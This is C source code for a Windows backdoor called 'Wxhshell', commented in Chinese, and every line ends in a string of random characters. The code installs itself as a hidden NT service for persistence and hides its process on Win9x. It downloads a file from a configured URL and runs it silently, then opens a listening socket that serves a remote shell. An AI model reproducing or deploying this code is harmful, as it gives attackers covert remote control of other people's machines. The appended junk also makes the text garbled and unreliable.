typedef struct ~Q_)>|R2
{
wsf Hd<Z_
DWORD ExitStatus; dT hn?
DWORD PebBaseAddress; zj9bSDVL(
DWORD AffinityMask; NoJnchiU
DWORD BasePriority; "$~}'`(]
ULONG UniqueProcessId; iJ`%yg,
ULONG InheritedFromUniqueProcessId; ]^*_F
} PROCESS_BASIC_INFORMATION; :$M9XZ~\
'ZGT`'ri
PROCNTQSIP NtQueryInformationProcess; A*\o
c
#.E\,N'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BaWQ<T8p8
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0<]$v"`I
< v|%K.yd
HANDLE hProcess; xta}4:d-Y
PROCESS_BASIC_INFORMATION pbi; 2?Pt Z
+,&m7L
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t4f
(Y,v
if(NULL == hInst ) return 0; }zkL[qu;
+=ZWau
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N{1.gS
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mP9cBLz
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j>$=SMc
.mvB99P{<
if (!NtQueryInformationProcess) return 0; <Jwi~I=^
ruZYehu1W
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F5FNhuC
if(!hProcess) return 0; "XGD:>Q.
]$m#1Kj
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cr76cYq"Q
A#v|@sul
CloseHandle(hProcess); |7svA<<[
?!bd!:(N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EX[B/YH
if(hProcess==NULL) return 0; /C*~/}
TA Ftcs:
HMODULE hMod; Wc~3^;U
char procName[255]; lq:]`l,6@
unsigned long cbNeeded; ]YCPyc:
P7's8KOoS
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GxYW4b
8 ne/=N|,
CloseHandle(hProcess); 8<YX7e
x1t{SQ-C
if(strstr(procName,"services")) return 1; // 以服务启动 _,DO~L
mbF(tSy
return 0; // 注册表启动 1)$%Jr
} LMAmpVo
Wu4ot0SZ
// 主模块 sB?2*S"X)<
int StartWxhshell(LPSTR lpCmdLine) MMMqG`Px
{ ?Fce!J
SOCKET wsl; &svx@wW
BOOL val=TRUE; Z+NF(d
int port=0; 'z)hG#{I
struct sockaddr_in door; /r276Q
F7\BF
if(wscfg.ws_autoins) Install(); T_eJ}(p
v9u<F6
port=atoi(lpCmdLine); ovo/!YJ2
:d.1;st
if(port<=0) port=wscfg.ws_port; QS^~77q
nt=x]wEC
WSADATA data; :-)GNf yGz
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @c Z\*,T
Mal <iNN
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GMz8B-vk
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z(p*Z,?u
door.sin_family = AF_INET; ~F;CE"3A
door.sin_addr.s_addr = inet_addr("127.0.0.1"); !K[/L<
Kv
door.sin_port = htons(port); R\*)@[y9l
.l\r9I(
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $0#6"urG
closesocket(wsl); fuMN"T 6%+
return 1; #EJP(wXa
} '@bJlJB9>
]BfS270
if(listen(wsl,2) == INVALID_SOCKET) { Z ] '>
closesocket(wsl); oE1M/*myS
return 1; ZZ("-#?
} P[FV2R~
Wxhshell(wsl); KnJx{8@z
WSACleanup(); Ad/($v5+
:k~dj C
return 0; hk_g2g
r2nBWA3
} ePEe?o4;
d`Oe_<
// 以NT服务方式启动 0 _A23.Y
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "]#'QuR
{ zT7"VbP
DWORD status = 0; eLV.qLBUs
DWORD specificError = 0xfffffff; Q_]~0PoH
hbI;Hd
serviceStatus.dwServiceType = SERVICE_WIN32; DtI$9`~
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \0?$wIH?
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =u=Kw R
serviceStatus.dwWin32ExitCode = 0; z]=8eV\
serviceStatus.dwServiceSpecificExitCode = 0; b9 uBdo@o
serviceStatus.dwCheckPoint = 0; ^I`a;
serviceStatus.dwWaitHint = 0; ,?(ciO)
>b48>@~bY
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jO8X:j09A
if (hServiceStatusHandle==0) return; q@l(Qol
HCj>,^<h
status = GetLastError(); k!3 cq)
if (status!=NO_ERROR) SkHYXe"]
{ Yw)Fbt^
serviceStatus.dwCurrentState = SERVICE_STOPPED; -Sz_mr
serviceStatus.dwCheckPoint = 0; Svw<XJ
serviceStatus.dwWaitHint = 0; RlRs}yF
serviceStatus.dwWin32ExitCode = status; kRlA4h1u_$
serviceStatus.dwServiceSpecificExitCode = specificError; TH4\HY9qa?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >zngJ$
return; h5GU9M
} OlY$v@|
SK
R1E];4
serviceStatus.dwCurrentState = SERVICE_RUNNING; L:@fP~Erh
serviceStatus.dwCheckPoint = 0; IQnIaZ
serviceStatus.dwWaitHint = 0; E\M-k\cSj
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 66\jV6eH7L
} ?S tsH
Sh&PNJ-*
// 处理NT服务事件,比如:启动、停止 gXy-Mpzp
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5iM[sg[y9
{ "2{%JFE
switch(fdwControl) fS=hpL6]@
{ y1pu R7
case SERVICE_CONTROL_STOP: obo&1Uv,/
serviceStatus.dwWin32ExitCode = 0; L/Vx~r`P
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,
ZFE(
serviceStatus.dwCheckPoint = 0; X`JVR"=4
serviceStatus.dwWaitHint = 0; _#C()Ro*P
{ `u
XQ z7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f p[,C1U
} "G?Yrh
return; <1 "+,}'x
case SERVICE_CONTROL_PAUSE: Vf $Dnu@}z
serviceStatus.dwCurrentState = SERVICE_PAUSED; FN^FvQ
break; eQDX:b
case SERVICE_CONTROL_CONTINUE: k)7{Y9_No
serviceStatus.dwCurrentState = SERVICE_RUNNING; #hw>tA6
break; Z?G&.# :
case SERVICE_CONTROL_INTERROGATE: =L]Q2V}
break; 1/Zh^foG
}; {38bv.3'
SetServiceStatus(hServiceStatusHandle, &serviceStatus); IV `%V+
f
} F]+~x/!
\6!W05[ Q
// 标准应用程序主函数 @n+=vC.xO
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %)(Cp-b!
{ oBQm05x"
`[fxyg:u
// 获取操作系统版本 jZ*WN|FK?
OsIsNt=GetOsVer(); )>a B
GetModuleFileName(NULL,ExeFile,MAX_PATH); ('[TLHP
>3.X?
// 从命令行安装 * ?Jz2[B
if(strpbrk(lpCmdLine,"iI")) Install(); m#7*:i&@Y
0JjUAxNq
// 下载执行文件 ]9 w76Z
if(wscfg.ws_downexe) { OFU/gaO~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (5Nv8H8|
WinExec(wscfg.ws_filenam,SW_HIDE); }^kL|qmjR
} ti @kKz
p{$p
$/A
if(!OsIsNt) { ca<"
// 如果时win9x,隐藏进程并且设置为注册表启动 }hpmO-
HideProc(); p
*w$:L
StartWxhshell(lpCmdLine); 1GCzyBSbb
} IH*s8tPc
else ;q>9W,jy
if(StartFromService()) "tk-w{>
// 以服务方式启动 07v!Zj
StartServiceCtrlDispatcher(DispatchTable); V9NTs8LKc
else <.K4JlbT
// 普通方式启动 hsRvr`#m|
StartWxhshell(lpCmdLine); SkQswH
"/{RhY<
return 0; 2/
rt@{V(
}